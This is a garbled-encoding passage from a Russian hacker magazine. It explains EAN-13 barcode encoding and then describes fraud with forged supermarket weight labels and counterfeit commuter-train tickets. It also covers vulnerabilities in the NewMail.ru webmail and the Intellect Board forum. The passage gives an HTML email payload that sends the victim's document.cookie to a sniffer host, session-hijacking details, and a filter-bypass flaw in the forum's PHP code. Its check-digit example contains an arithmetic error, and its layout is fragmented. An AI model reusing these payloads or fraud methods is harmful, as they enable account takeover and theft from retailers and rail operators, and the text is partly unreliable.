5: 0110001 0111001 1001110
6: 0101111 0000101 1010000
7: 0111011 0010001 1000100
8: 0110111 0001001 1001000
9: 0001011 0010111 1110100

Íåñëîæíî äîãàäàòüñÿ, ÷òî åäèíèöû áóäóò ãðàôè÷åñêè âûãëÿäåòü íà
øòðèõêîäå êàê çàêðàøåííûå îáëàñòè êîäà, íóëè � êàê íå çàêðàøåííûå.
Ðàçäåëèòåëüíûå ïîëîñû ïî êðàÿì êîäà ìîæíî îáîçíà÷èòü êàê 101, à ïî-
ñåðåäèíå � êàê 01010. Ïðàâàÿ ÷àñòü êîäà (ïîñëåäíèå øåñòü öèôð) EAN-
13 âñåãäà êîäèðóåòñÿ, êàê code C. Öèôðû ëåâîé ÷àñòè êîäà ìîãóò êîäè-
ðîâàòüñÿ ìåòîäàìè A è B â çàâèñèìîñòè îò ïåðâîé öèôðû øòðèõêîäà.
Çàâèñèìîñòü ýòó ìîæíî ïðåäñòàâèòü ñëåäóþùèì îáðàçîì:

¹ öèôðû => 2 3 4 5 6
7

0: A A A A A
A

1: A A B A B
B

2: A A B B A
B

3: A A B B B
A

4: A B A A B
B

5: A B B A A
B

6: A B B B A
A

7: A B A B A
B

8: A B A B B
A

9: A B B A B
A

Âçãëÿíè íà ðèñóíîê êîäà EAN-13. Ïåðâàÿ öèôðà � 9, çíà÷èò, ñëåäóþ-
ùèå øåñòü áóäóò çàêîäèðîâàíû êàê ABBABA. Ýòî îáúÿñíÿåò, ïî÷åìó,
èäóùèå ïîñëå äåâÿòêè ñåìåðêè, èìåþò ðàçíûé ðèñóíîê.
Ïðèìåíåíèå òðåõ âèäîâ êîäèðîâîê â êîäå EAN-13 îñóùåñòâëåíî âîâñå
íå äëÿ òîãî, ÷òîáû èõ áûëî òðóäíåå ðàñøèôðîâàòü, à äëÿ îáåñïå÷åíèÿ
ñîâìåñòèìîñòè ñî ñòàíäàðòîì UPC-A. UPC-A èìååò 12 öèôð, êàæäàÿ èç
êîòîðûõ ïðåîáðàçóåòñÿ â ïîëîñêè, øåñòü ïåðâûõ � ìåòîäîì A øåñòü
ïîñëåäíèõ � ìåòîäîì C. Òàêèì îáðàçîì, ñêàíåð, ðàáîòàþùèé ïî ñòàí-
äàðòó EAN, ïðèñâîèò òàêîìó êîäó 0 â íà÷àëå.

[õàëÿâà îò EAN] Åâðîïåéñêèì õàêåðàì â âîñüìèäåñÿòûõ ãîäàõ ïðîø-
ëîãî âåêà íå ñîñòàâèëî òðóäà ðàçîáðàòüñÿ â êîäèðîâêàõ EAN-13. Ìíîãèå
òîâàðû, òàêèå êàê îäåæäà, ïðîäàâàâøàÿñÿ â ñóïåðìàðêåòàõ, ïîìå÷à-
ëèñü íàêëåéêîé ñî øòðèõêîäîì, êîòîðóþ õàêåðû çàìåíÿëè ñâîåé, àíàëî-
ãè÷íîé òåì, ÷òî áûëè íà áîëåå äåøåâûõ òîâàðàõ òîãî æå òèïà. Âñêîðå
ïîääåëêà øòðèõêîäîâ ïðåâðàòèëàñü â íîâûé âèä ìîøåííè÷åñòâà.
Êîä EAN-13, ïðèñâàèâàåìûé îïðåäåëåííîìó ïðîäóêòó, íå ñîäåðæèò â ñå-
áå íèêàêèõ äàííûõ îá ýòîì òîâàðå (öåíà, âåñ è ïð.). Âñå ýòè äàííûå ñîäåð-

æàòñÿ â áàçå äàííûõ, èç êîòîðîé èõ
èçâëåêàåò êàññîâûé àïïàðàò ïðè ñêà-
íèðîâàíèè øòðèõêîäà íà óïàêîâêå
ïðîäóêòà. Âïðî÷åì, ýòî íå âñåãäà òàê.
Ìíîãèå ïðîäóêòû, öåíà êîòîðûõ çàâè-
ñèò îò âåñà, ïðîäàþòñÿ â ñóïåðìàðêå-
òàõ ñî øòðèõêîäàìè, íàêëååííûìè
ñàìèì ñóïåðìàðêåòîì. Â çàâèñèìîñ-
òè îò ñèñòåìû ïðèìåíÿþùåéñÿ â ìà-
ãàçèíå, òàêèå øòðèõêîäû ìîãóò ëèáî

Ê ïðèìåðó, êîä EAN-13 îòëè÷àåòñÿ îò êîäà UPC-A íàëè÷èåì äîïîëíèòåëü-
íîé öèôðû (ñòîÿùåé â íà÷àëå êîäà, íî íå ðèñóþùåéñÿ ïîëîñêàìè), ïîç-
âîëèâøåé çíà÷èòåëüíî ðàñøèðèòü äèàïàçîí ìàðêèðîâàííûõ òîâàðîâ.
Â íàñòîÿùåå âðåìÿ îêîëî ìèëëèîíà êîìïàíèé â 133 ñòðàíàõ ìèðà èñ-
ïîëüçóþò ñòàíäàðòû EAN-UCC â ïîâñåäíåâíîé ïðàêòèêå. Åæåäíåâíî
îñóùåñòâëÿåòñÿ ñâûøå 5 ìèëëèàðäîâ ñêàíèðîâàíèé êîäîâ EAN/UPC.

[êîä EAN-13] Ýòîò êîä ïðåäñòàâëÿåò äëÿ íàñ íàèáîëüøèé èíòåðåñ, òàê
êàê èñïîëüçóåòñÿ ïîâñåìåñòíî â ñôåðå ðîçíè÷íîé òîðãîâëè. Ëó÷øå âñå-
ãî íà÷èíàòü çíàêîìñòâî ñ ëèíåéíûìè øòðèõêîäàìè. Íà ðèñóíêå èçîáðà-
æåí ïðèìåð êîäà EAN-13, ïîñìîòðèì, èç ÷åãî îí ñîñòîèò. À ñîñòîèò îí
èç òðèäöàòè äâóõ ÷åðíûõ ïîëîñîê ðàçëè÷íîé øèðèíû, êîäèðóþùèõ òðè-
íàäöàòü öèôð è, ñîáñòâåííî, íàäïèñè èç ýòèõ ñàìûõ öèôð.
Ïåðâûå 2�3 öèôðû êîäà îçíà÷àþò ïðèíàäëåæíîñòü ê ðàçëè÷íûì ðåãè-
îíàëüíûì îòäåëåíèÿì EAN èëè ïðèíàäëåæíîñòü ê ïå÷àòíîé ïðîäóêöèè.
Ïî íèì ìîæíî îïðåäåëèòü, â êàêîé ñòðàíå èçãîòîâëåí òîâàð, ïîìå÷åí-
íûé ýòèì øòðèõêîäîì (äëÿ ýòîãî çàäåéñòâóé, ê ïðèìåðó, ïðîãó EAN-13
CountryFinder). Äàëåå 4�5 öèôð îçíà÷àþò êîä, ïðèñâîåííûé èçãîòîâè-
òåëþ òîâàðà. Ýòî ïî ñòàíäàðòàì EAN, à íà äåëå ìíîãèå ñòðàíû, â òîì
÷èñëå Ðîññèÿ ïðèñâàèâàþò ïðîèçâîäèòåëÿì 7 öèôð. Îñòàâøèåñÿ öèôðû
ïðèñâàèâàþòñÿ ðàçëè÷íûì òîâàðàì äàííîãî ïðîèçâîäèòåëÿ. Ïîñëåäíÿÿ
öèôðà, êîíòðîëüíàÿ, ñëóæèò äëÿ ïðîâåðêè êîððåêòíîñòè ñ÷èòàííîãî êî-
äà. Àëãîðèòì âû÷èñëåíèÿ êîíòðîëüíîé öèôðû âåñüìà ïðîñò:

1 Ñëîæèòü öèôðû, ñòîÿùèå íà ÷åòíûõ ìåñòàõ:
7+1+0+1+1+0=10

2 Ïîëó÷åííóþ ñóììó óìíîæèòü íà 3:
10*3=30

3 Ñëîæèòü öèôðû, ñòîÿùèå íà íå÷åòíûõ ìåñòàõ, áåç êîíòðîëüíîé öèôðû:
9+7+6+9+0+0=31

4 Ñëîæèòü ÷èñëà, óêàçàííûå â ïóíêòàõ 2 è 3:
30+31=61

5 Âîçüìåì îñòàòîê îò äåëåíèÿ íà 10:
31%10=1

6 Èç 10 âû÷åñòü, ïîëó÷åííîå â ïóíêòå 5:
10-1=9 � êîíòðîëüíàÿ öèôðà.

Êàê âèäèøü, íàø øòðèõêîä ïðàâèëüíûé. Íåñîâïàäåíèå êîíòðîëüíîé öèô-
ðû íà øòðèõêîäå òîâàðà, ñêîðåå âñåãî, îçíà÷àåò, ÷òî òîâàð ïîääåëüíûé.
Òåïåðü îáðàòèì âíèìàíèå íà ãðàôè÷åñêóþ ÷àñòü øòðèõêîäà. Ïî êðàÿì
è ïîñåðåäèíå êîäà íàõîäÿòñÿ ïàðû òîíêèõ ÷åðíûõ ïîëîñ, âûäåëÿþùèõ-
ñÿ âíèç, ðàçäåëÿÿ íàäïèñü èç öèôð. Îíè íå ñîäåðæàò â ñåáå íèêàêîé èí-
ôîðìàöèè, à íóæíû äëÿ òîãî, ÷òîáû ñêàíåð ìîã ïîäñòðîèòüñÿ ïîä ðàçìå-
ðû èçîáðàæåííîãî êîäà è ÷åòêî îïðåäåëèòü åãî ãðàíèöû. Òàêèì îáðà-
çîì, âåñü øòðèõêîä êàê áû ðàçäåëåí íà äâå ðàâíûå ÷àñòè.
Êàæäàÿ öèôðà, êðîìå ñàìîé ïåðâîé, êîäèðóåòñÿ è â ãðàôè÷åñêîì âèäå
ïðåäñòàâëÿåòñÿ äâóìÿ ÷åðíûìè ïîëîñêàìè. Ïåðâàÿ öèôðà íå êîäèðóåò-
ñÿ, à îïðåäåëÿåòñÿ â çàâèñèìîñòè îò òîãî, êàêèå êîäèðîâêè èñïîëüçóþò [X
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Ñëåäóåò ïîíèìàòü, ÷òî
èçó÷åíèå øòðèõêîäîâ è
êîäèðîâàíèÿ èíôîðìàöèè
� ýòî íàóêà, õîááè. À âîò
èñïîëüçîâàíèå â êîðûñò-
íûõ öåëÿõ ïîëó÷åííûõ íà-
âûêîâ � óãîëîâùèíà, çà
êîòîðóþ áóäåøü îòâå÷àòü
ïåðåä çàêîíîì.

ÏÎËÅÇÍÛÅ ÏÏÐÎÃÐÀÌÌÛ
EAN-113 CCountryFinder � óìååò îïðåäåëÿòü ðåãèîíàëüíóþ ïðè-
íàäëåæíîñòü èëè ïðèíàäëåæíîñòü ê îïðåäåëåííûì âèäàì ïå-
÷àòíîé ïðîäóêöèè òîâàðíîãî êîäà EAN-13 ïî ïåðâûì òðåì
öèôðàì.
Barcode ffor OOffice � òóëçà, ïîçâîëÿþùàÿ ëåãêî è íåïðèíóæäåí-
íî ñîçäàâàòü íàèáîëåå ðàñïðîñòðàíåííûå âèäû (25 âèäîâ è
ðàçíîâèäíîñòåé) ëèíåéíûõ êîäîâ. Âñòðàèâàåòñÿ â ïðèëîæåíèÿ
Microsoft Office, ÷òî ïîçâîëÿåò âñòàâëÿòü â íèõ ðèñóíîê
øòðèõêîäà ïðÿìî èç ìåíþ: Âñòàâêà ! Îáúåêò� ! Bocai
Barcode. Âåñüìà óäîáíà äëÿ ñîçäàíèÿ øòðèõêîäîâ. Åäèíñòâåí-
íîå îãðàíè÷åíèå òðèàëüíîé âåðñèè � íàäïèñü Trial Only, ðàñ-
ïîëîæåííàÿ íàä ñîçäàâàåìûì ðèñóíêîì.

øòðèõ-êîä EAN-13
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ñîäåðæàòü ïðèâÿçêó ê áàçå äàí-
íûõ òîâàðîâ, ëèáî ñîäåðæàòü
ñâåäåíèÿ, âëèÿþùèå íà öåíó èëè
âåñ. È â òîì, è â äðóãîì ñëó÷àå
åñòü âîçìîæíîñòè äëÿ ìîøåííè-
÷åñòâà. Èíîãäà ìàãàçèíû ñàìè
óïðîùàþò çàäà÷ó ìîøåííèêàì.
Íàïðèìåð, â áîëüøèíñòâå ìîñ-
êîâñêèõ ñóïåðìàðêåòîâ âåñ è êî-
ëè÷åñòâî òîâàðà óêàçûâàåòñÿ
ÿâíî â êîäå, óêàçàííîì íà íàê-
ëåéêå ñ òîâàðîì. Ïîíÿòíî, ÷òî
íè÷åãî òåáå íå ìåøàåò íàïå÷à-
òàòü íà ñàìîêëåÿùåéñÿ áóìàãå
ñîáñòâåííóþ ýòèêåòêó è êóïèòü
êèëîãðàìì äîðîãèõ ãðóø ïî öå-
íå ñàìûõ äåøåâûõ. Òàêîãî ðîäà
ìàõèíàöèé ìîæíî ïðèäóìàòü îã-
ðîìíîå ìíîæåñòâî, ñóòü ó íèõ ó
âñåõ îäíà. Ëþäè ïðèâûêëè íà
100% äîâåðÿòü ýëåêòðîííûì
ñèñòåìàì â òîðãîâëå, â òî âðåìÿ
êàê èñïîëüçîâàíèå øòðèõêîäîâ
íå âñåãäà ðåàëèçîâàíî àäåêâàò-
íî ñ òî÷êè çðåíèÿ áåçîïàñíîñòè.
Ìîæíî ïðèäóìàòü êó÷ó ñïîñî-
áîâ ïîäíÿòèÿ ëàâý ñ ïîääåëêè

øòðèõêîäîâ, èíîãäà î÷åíü ñïåöèôè÷åñêèõ. Ñëåäóåò ïîíèìàòü, ÷òî îä-
íî äåëî � èçó÷àòü ñèñòåìû êîäèðîâàíèÿ è íàõîäèòü â íèõ ïîòåíöè-
àëüíûå ñëàáîñòè, è ñîâñåì äðóãîå � íà ïðàêòèêå èñïîëüçîâàòü ðàç-
ðàáîòêè, âîðóÿ ãðóøè è îäåæäó. Ýòî óæå êëàññèôèöèðóåòñÿ áåçæàëî-
ñòíûì óãîëîâíûì êîäåêñîì êàê ìîøåííè÷åñòâî � ñåðüåçíàÿ ñòàòüÿ.

[õàëÿâà â ýëåêòðè÷êàõ] Äóìàþ, òû íå ðàç è íå äâà êàòàëñÿ íà ýëåêò-
ðè÷êàõ. Ñåé÷àñ íà ìíîãèõ ñòàíöèÿõ óæå ñòîÿò ýëåêòðîííûå òóðíèêåòû,
êîòîðûå íå ïðîïóñêàþò ïàññàæèðîâ, ïîêà òå íå «ïîêàæóò» áèëåòèê. Åñ-
ëè òû ðàçãëÿäûâàë åãî, òî, êîíå÷íî, çàìåòèë, ÷òî íà íåì ðàñïîëàãàåòñÿ
ñïåöèàëüíûé øòðèõêîä, êîòîðûé è ñ÷èòûâàåò òóðíèêåò. Âñòàåò âîïðîñ,
êàêàÿ èíôîðìàöèÿ ðàçìåùàåòñÿ â êîäå áèëåòà, â êàêîì âèäå îíà òàì
õðàíèòñÿ è âîçìîæíî ëè åå ïîääåëàòü.
Ñ÷èòàòü êîä áèëåòà îêàçàëîñü ïðîùå ïðîñòîãî, òàê êàê   èñïîëüçóåòñÿ ñòàíäà-
ðòíîå êîäèðîâàíèå Interleaved 2-of-5. ß íå áóäó ðàññêàçûâàòü, êàê óñòðîåíî.
Îá ýòîì òû ñìîæåøü ïî÷èòàòü íà äîêóìåíòàõ, êîòîðûå ëåæàò íà äèñêå. ß ëó÷-
øå ïîâåäàþ òåáå î òîì, ÷åãî óäàëîñü äîáèòüñÿ õàêåðàì æåëåçíûõ äîðîã.

Êàê âûÿñíèëîñü, èíôîðìà-
öèÿ î áèëåòå (äàòà, ðàçíî-
âèäíîñòü, çîíû, öåíà è òàê
äàëåå) äîâîëüíî õèòðûì îá-
ðàçîì êîäèðóåòñÿ â ÷èñëî,
çàïèñûâàåìîå íà áèëåò.
Íàèâíî áûëî áû îæèäàòü,
÷òî ýòè äàííûå áóäóò íàõî-
äèòüñÿ íà ïîâåðõíîñòè.
Îäíàêî ÷åëîâå÷åñêèé ýíòó-
çèàçì áåçãðàíè÷åí: êó÷à ëþ-
äåé ïðèíÿëàñü ñîáèðàòü áà-
çû äàííûõ ñ íîìåðàìè áèëå-
òîâ, ïûòàÿñü óëîâèòü êàêóþ-
òî çàêîíîìåðíîñòü ìåæäó
ïàðàìåòðàìè «òèêåòà» è åãî
êîäîì. Ýòî áûëî íå òàê óæ
ëåãêî, íî â êîíöå êîíöîâ õèò-
ðûé êîä âñå-òàêè ïîääàëñÿ
õàêåðàì è íåêîòîðûå âðåìÿ
ìîæíî áûëî íàáëþäàòü

íåðâíûõ äÿäåê ó êàññ, çà 5 ðóáëåé ïðîäàþùèõ áèëåòèêè «äî ëþáîé çîíû».
Ïîòîì ñïåöû â ÐÆÄ ïðîñåêëè ôèøêó è ïîìåíÿëè êîäèðîâàíèå, äîáàâèâ
åùå îäèí øòðèõêîä. Íàñêîëüêî ÿ çíàþ, ýòî íå ñèëüíî èçìåíèëî ñèòóà-
öèþ, è ýíòóçèàñòû äîâîëüíî áûñòðî ðàçäðàêîíèëè è ýòîò êîä.
Â Èíòåðíåòå äàæå åñòü öåëûé ñàéò, ïîñâÿùåííûé ýòîé òåìå, �
http://barcodes.narod.ru. Ñàéò óæå äàâíî íå îáíîâëÿëñÿ, íî âñå åùå æè-
âåò ãîñòåâîé êíèãîé � ñåé÷àñ òàì ìîæíî âñòðåòèòü âåñüìà àêòóàëü-
íûå ñîîáùåíèÿ. Åñëè äëÿ òåáÿ àêòóàëüíà òåìà áåñïëàòíîé åçäû íà
ýëåêòðè÷êàõ, òî ñîâåòóþ îáðàòèòüñÿ ê ýòîìó ñàéòó, à òàêæå ê ñòàòüå,
êîòîðóþ òû íàéäåøü íà íàøåì äèñêå :).

[çàêëþ÷åíèå] Èçó÷åíèå òåõíîëîãèé øòðèõêîäèðîâàíèÿ ìîæåò îêà-
çàòüñÿ âåñüìà èíòåðåñíûì è, ÷òî ñàìîå ãëàâíîå, ïîëåçíûì çàíÿòèåì.
Âåäü ñåãîäíÿ øòðèõîâîå êîäèðîâàíèå ïðèìåíÿåòñÿ âî ìíîæåñòâå ðàç-
ëè÷íûõ ñèñòåì: ñèñòåìàõ îïòîâîé è ðîçíè÷íîé òîðãîâëè, â îõðàííûõ
ñèñòåìàõ è ñèñòåìàõ àóòåíòèôèêàöèè, â ñèñòåìàõ àâòîìàòèçèðîâàííîãî
ââîäà è ó÷åòà äîêóìåíòîâ, â ïðîèçâîäñòâåííûõ ñèñòåìàõ êîíòðîëÿ è ò.ä.
Ïîääåëàâ øòðèõêîä, çëîóìûøëåííèê ìîæåò äîáèòüñÿ êàêèõ-òî
ñîáñòâåííûõ öåëåé â îáõîä óñòàíàâëèâàåìûõ ïðàâèë. Îáñëóæèâàþùèé
ïåðñîíàë ñêëîíåí ÷åðåñ÷óð äîâåðÿòü òåõíîëîãèè øòðèõêîäèðîâàíèÿ,
ïîëàãàÿ, ÷òî ïîääåëêà øòðèõêîäà, � âåñüìà ñëîæíàÿ çàäà÷à. Ýòî íå
òàê. Äàæå øòðèõêîäû, ñîçäàííûå ïî çàêðûòûì ñòàíäàðòàì, ïîääàþòñÿ
ðàñøèôðîâêå ïóòåì èõ àíàëèçà

ñàéò, ïîñâÿùåííûé 
êîäèðîâàíèþ æ/ä áèëåòèêîâ

ïîääåëüíûé áèëåò äëÿ ýëåêòðè÷êè,
åãî îñòàëîñü òîëüêî ðàñïå÷àòàòü 
íà ïðèíòåðå!

ÄÐÓÃÈÅ ØØÒÐÈÕÊÎÄÛ
ÄÀËÅÅ ÕÎ×Ó Î×ÅÍÜ
ÊÐÀÒÊÎ ÎÇÍÀÊÎÌÈÒÜ
ÒÅÁß Ñ ÄÐÓÃÈÌÈ ×ÀÑÒÎ
ÏÐÈÌÅÍßÞÙÈÌÈÑß
ØÒÐÈÕÊÎÄÀÌÈ.

UCC/EAN 1128 ñîçäàí äëÿ
àâòîìàòèçàöèè ëîãèñòè÷åñ-
êèõ îïåðàöèé (òî åñòü äâè-
æåíèÿ òîâàðîâ îò ïðîèçâî-
äèòåëåé ê ïîòðåáèòåëÿì) è
ïîâñåìåñòíî ïðèìåíÿåòñÿ â
îïòîâîé òîðãîâëå. Îí ìî-
æåò ñîäåðæàòü â ñåáå ìíî-
æåñòâî èíôîðìàöèè, òàêîé
êàê ðàçìåðû, âåñ, äàòû èç-
ãîòîâëåíèÿ, èíôîðìàöèþ î
ïðîèçâîäèòåëå è ò.ä. Ýòîò
êîä âêëþ÷àåò â ñåáÿ ñèìâî-
ëû êîìïüþòåðíûõ êîäèðî-
âîê ANSI è UNICODE. Ñó-
ùåñòâóåò òðè íàáîðà ñèìâî-
ëîâ äàííîãî êîäà (A, B è C).

Äâóõìåðíûå øøòðèõêîäû ïî-
ëó÷èëè ðàñïðîñòðàíåíèå
çíà÷èòåëüíî ïîçæå ëèíåé-
íûõ. Â îñíîâå èõ ëåæèò

èäåÿ íåçàâèñèìîé áàçû
äàííûõ, ñîäåðæàùåé èí-
ôîðìàöèþ îá îïðåäåëåí-
íîì îáúåêòå. Ïåðâûì 2D-
áàðêîäîì ñòàë PDF417, ââå-
äåííûé â 1991 ãîäó ôèðìîé
Symbol Technologies. PDF
ïðîèñõîäèò îò ñîêðàùåíèÿ
Portable Data File (Ïîðòàòèâ-
íûé Ôàéë Äàííûõ). Åãî
øòðèõêîäîâûé ñèìâîë ñîñ-
òîèò èç 17 ìîäóëåé, êàæäûé
èç êîòîðûõ ñîäåðæèò 4
øòðèõà è ïðîáåëà (îòñþäà
íîìåð 417). Ýòîò øòðèõêîä
îòêðûò äëÿ îáùåãî ïîëüçî-
âàíèÿ. Ñòðóêòóðà äàííîãî
êîäà ïîääåðæèâàåò êîäèðî-
âàíèå ìàêñèìàëüíîãî ÷èñëà
îò 1000 äî 2000 ñèìâîëîâ â
îäíîì êîäå ïðè èíôîðìà-
öèîííîé ïëîòíîñòè îò 100
äî 340 ñèìâîëîâ. Êàæäûé
òàêîé êîä ñîäåðæèò ñòàðòî-
âóþ è ñòîïîâóþ ãðóïïû
øòðèõîâ, óâåëè÷èâàþùèå
âûñîòó øòðèõêîäà. Ñóùåñò-
âóåò òàêæå ðàçíîâèäíîñòü
ýòîãî êîäà � Micro PDF417.

Aztec CCode áûë ââåäåí Ýíäè
Ëîíãýéñåðîì (Andy Longacre)
èç ôèðìû Welch Allyn Inc. 
â 1995 ãîäó è îòêðûò äëÿ îá-
ùåãî èñïîëüçîâàíèÿ. Aztec
Code ðàçðàáàòûâàëñÿ äëÿ
ëåãêîé ïå÷àòè è ëåãêîé ðàñ-
øèôðîâêè. Îí ïðåäñòàâëÿåò
ñîáîé êâàäðàòíóþ ìàòðèöó ñ
êîíöåíòðè÷åñêèìè êâàäðàòà-
ìè â öåíòðå, êîòîðûå ñëóæàò
äëÿ îïðåäåëåíèÿ ïîçèöèè
êîäà îòíîñèòåëüíî ñêàíåðà è
ìåðíîé ëèíåéêîé ïî êðàþ
êîäà. Íàèìåíüøèé øòðèõêîä
Aztec èìååò ïëîùàäü 15x15
ìîäóëåé, íàèáîëüøèé �
151x151. Ìèíèìàëüíûé êîä
Aztec êîäèðóåò 13 öèôð èëè
12 áóêâ, à ìàêñèìàëüíûé �
3832 öèôðû èëè 3067 áóêâ
èëè 1914 áàéò äàííûõ. Ñèì-
âîëèêà ýòîãî êîäà íå òðåáóåò
ñâîáîäíîé çîíû âîêðóã
øòðèõêîäà. Ñóùåñòâóþò 32
ãðàäàöèè ðàçìåðà êîäà ñ
âîçìîæíîñòüþ ïîëüçîâà-
òåëüñêîé óñòàíîâêè çàùèòû
îò îøèáîê ïî ìåòîäó Ðèäà-

Ñîëîìîíà (Reed-Solomon): 
îò 5% äî 95% îò îáëàñòè êî-
äà. Ñïåöèôèêàöèþ Àöòåêà
ìîæåøü íàéòè íà
http://dcd.welchallyn.com/techo
ver/dcdwhite.htm .

Êîä DData MMatrix � äâóõìåð-
íûé êîä îò ôèðìû CiMatrix,
ðàçðàáîòàííûé äëÿ ðàçìå-
ùåíèÿ áîëüøîãî îáúåìà èí-
ôîðìàöèè íà îãðàíè÷åííîé
ïëîùàäè ïîâåðõíîñòè. Data
Matrix ìîæåò õðàíèòü îò îä-
íîãî äî 500 ñèìâîëîâ. Data
Matrix èìååò òåîðåòè÷åñêóþ
ìàêñèìàëüíóþ ïëîòíîñòü â
500 ìèëëèîíîâ ñèìâîëîâ 
íà äþéì! Íà ïðàêòèêå ïëîò-
íîñòü, êîíå÷íî, îãðàíè÷èâà-
åòñÿ ðàçðåøàþùåé ñïîñîá-
íîñòüþ ïå÷àòàþùèõ óñò-
ðîéñòâ è ñêàíåðîâ. Íàèáîëåå
ïîïóëÿðíûìè ïðèìåíåíèÿìè
Datamatrix ÿâëÿåòñÿ ìàðêè-
ðîâêà íåáîëüøèõ ïðåäìåòîâ,
òàêèõ êàê ýëåêòðîííûå ýëå-
ìåíòû è ïå÷àòíûå ïëàòû
ýëåêòðîííûõ ïðèáîðîâ.
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[NewMail.ru] ×åòâåðòü ìèëëèîíà ÷åëîâåê ïîëüçóþòñÿ ïî÷òîâûì
ñåðâèñîì NewMail.ru, ÷åòâåðòü ìèëëèîíà ïîëüçîâàòåëåé è ÷åòâåðòü
ìèëëèîíîâ ñàéòîâ âíîâü ïîä óãðîçîé. Ïðîãðàììèñòû, ðàçðàáàòûâà-
þùèå web-èíòåðôåéñ ýòîãî ñåðâèñà, íå îòëè÷àþòñÿ ñîîáðàçèòåëü-
íîñòüþ: ïðèìåðíî äâà ðàçà â ãîä ìû ïèøåì î áàãàõ â ýòîì èíòåðôåé-
ñå :). Ïîëüçóÿñü ñëó÷àåì, õî÷åòñÿ ïåðåäàòü èì ïðèâåò è ïîçäðàâèòü 
ñ Íîâûì ãîäîì.
Îòêðîâåííî ãîâîðÿ, îá ýòèõ áàãàõ èçâåñòíî óæå äàâíûì-äàâíî. Ãäå-
òî ãîä íàçàä, íàâåðíîå, ìû óæå ïèñàëè îá ýòîì. Ñóòü ïðîáëåìû çàê-
ëþ÷àåòñÿ â òîì, ÷òî ëþáîé ÷åëîâåê, æåëàþùèé ïîëó÷èòü äîñòóï ê îï-
ðåäåëåííîìó àêêàóíòó, ìîæåò ïîñëàòü íà ñîîòâåòñòâóþùåå ìûëî
html-ïèñüìî ñëåäóþùåãî ñîäåðæàíèÿ:

<img src="http://àäðåñ.ñíèôåðà.ðó/êàðòèí-
êà.jpg?"+document.cookie;>

Òàê òû ïðåêðàñíî ïîíèìàåøü, ýòî ïîêàæåò ïîëüçîâàòåëþ êàðòèíêó, 
à åãî êóêèñû ïåðåäàñò â íåæíûå ðóêè çëîáíîãî õàêåðà. Ñòîèò ëè ãî-
âîðèòü, ÷òî òàêîå ñîîáùåíèå ìîæíî çàøèôðîâàòü ïîä îáû÷íûé ñïàì
èëè, íàîáîðîò, ðàçìåñòèòü òàì âïîëíå êîððåêòíîå ñîäåðæàíèå.
Âñå ýòî áûëî èçâåñòíî óæå äàâíûì-äàâíî. Â ÷åì æå ïîäãîí? :) Ôèøêà
çàêëþ÷àåòñÿ â òîì, ÷òî ïîñëå ñòàòüè â íàøåì æóðíàëå àäìèíû «çàêðû-
ëè áàã»: îíè ïðèâÿçàëè ñåññèþ ê IP. Íî ïî íåèçâåñòíîé ïðè÷èíå îíè ñäå-
ëàëè ýòî òîëüêî â ãîëîâíîì ñêðèïòå, ñ êîòîðîãî íà÷èíàåòñÿ ðàáîòà ñ
ñèñòåìîé. Ñöåíàðèé, ïîçâîëÿþùèé ðàáîòàòü ñ ôàéëàìè, ýòè ðåáÿòà ðå-
øèëè íå ìåíÿòü. Òàêèì îáðàçîì, îáðàòèâøèñü ê àäðåñó âðîäå
www4.nightmail.ru/users/myfiles.dhtml?session_id=WkQ04aPG49imqOxbJV
NCXcSobh5SXXQk, ñòàíîâèòñÿ âîçìîæíûì óïðàâëÿòü ñàéòîì ïîëüçîâà-
òåëÿ, è ïðèâÿçêà ê IP â ãîëîâíîì ñêðèïòå äëÿ ýòîãî  íå ïîìåõà! Ïðè÷åì
óêðàäåííàÿ ñåññèÿ æèâåò î÷åíü äîëãî. ß ñàì íà ïðàêòèêå èñïîëüçîâàë
ñåàíñ, êîòîðûé äîëæåí áûë áûòü çàâåðøåí óæå íåñêîëüêî ÷àñîâ íàçàä.

[soblazn.tv] Òû, íàâåðíîå, çíàåøü î òîì, ÷òî êàíàë REN-TV ïîñëå
ñìåíû âëàäåëüöà íà÷àë àêòèâíî îñâàèâàòü ïåðñïåêòèâíûé ðûíîê ðåà-
ëèòè-øîó. Íåäàâíî âîò çàïóñòèëè ïðîåêò ñ íàçâàíèåì «Îñòðîâ Èñêóøå-
íèé» è ñäåëàëè äëÿ ïðîåêòà ñàéò � www.soblazn.tv. Êàê è ñëåäîâàëî áû
îæèäàòü, êó÷à ðàçíîîáðàçíûõ äåâî÷åê è ìàëü÷èêîâ ñ óïîåíèåì ñìîòðÿò
çà ÷óæîé çàýêðàííîé æèçíüþ è ñöåíàðèéíûìè îòíîøåíèÿìè, à ñàéò
ýòîãî ïðîåêòà êðîåò â ñåáå îïàñíûé áàã, ñ ïîìîùüþ êîòîðîãî ìîæíî
çäîðîâî ïîâåñåëèòüñÿ.
Âåðíåå, íå ñàéò, à ôîðóì.
Åñëè çàéòè íà ãëàâíóþ ñòðàíèöó ýòîãî ðàçäåëà, òî òû óâèäèøü äëèííóþ
áîòâó î êîïèðàéòàõ, à åùå íèæå � ñòðîêó «Ýòîò ôîðóì ðàáîòàåò íà
ñêðèïòå Intellect Board 2.13» è ññûëêó íà ñàéò ôîðóìà �
www.intboard.ru. Îêàçàëîñü, ÷òî ôîðóì áåñïëàòíûé è äîñòóïåí êîìó
óãîäíî äëÿ ñêà÷èâàíèÿ. Òî, ÷òî äîêòîð ïðîïèñàë. Çà äåñÿòü ìèíóò áûë
íàéäåí áàã, ïîçâîëÿþùèé âûïîëíÿòü ïðîèçâîëüíûé êîä íà ñòîðîíå
êëèåíòà. Â ôàéëå xaphpi.php îñóùåñòâëÿëàñü ôèëüòðàöèÿ âñåõ ïåðå-
ìåííûõ. Âîò êóñîê áàæíîãî êîäà:

function &getvar($name) {
if (strpos($name,"_text")===false) {

if (isset($_GET[$name])) $tmp = stripslashes($_GET[$name]);
elseif (isset($_POST[$name])) $tmp= stripslashes($_POST[$name]);
}
else {
if (isset($_GET[$name])) $tmp =
htmlspecialchars(stripslashes($_GET[$name]));
elseif (isset($_POST[$name])) $tmp= htmlspecialchars(stripslash-
es($_POST[$name]));
}

Êàê âèäíî èç êîäà, âñå ïåðåìåííûå, èìåþùèå â íàçâàíèè «_text»,
ïðîïóñêàþòñÿ ôèëüòðîì. À âîò ýòî èíòåðåñíî. Ïîñèäåâ çà ðàçáîðêîé
êîäà åùå ïàðó ìèíóò, íàøåë, ÷òî ïåðåìåííàÿ, îáîçíà÷àþùàÿ òåìó 
â ïðèâåòíîì ñîîáùåíèè, èìååò íàçâàíèå pm_text.
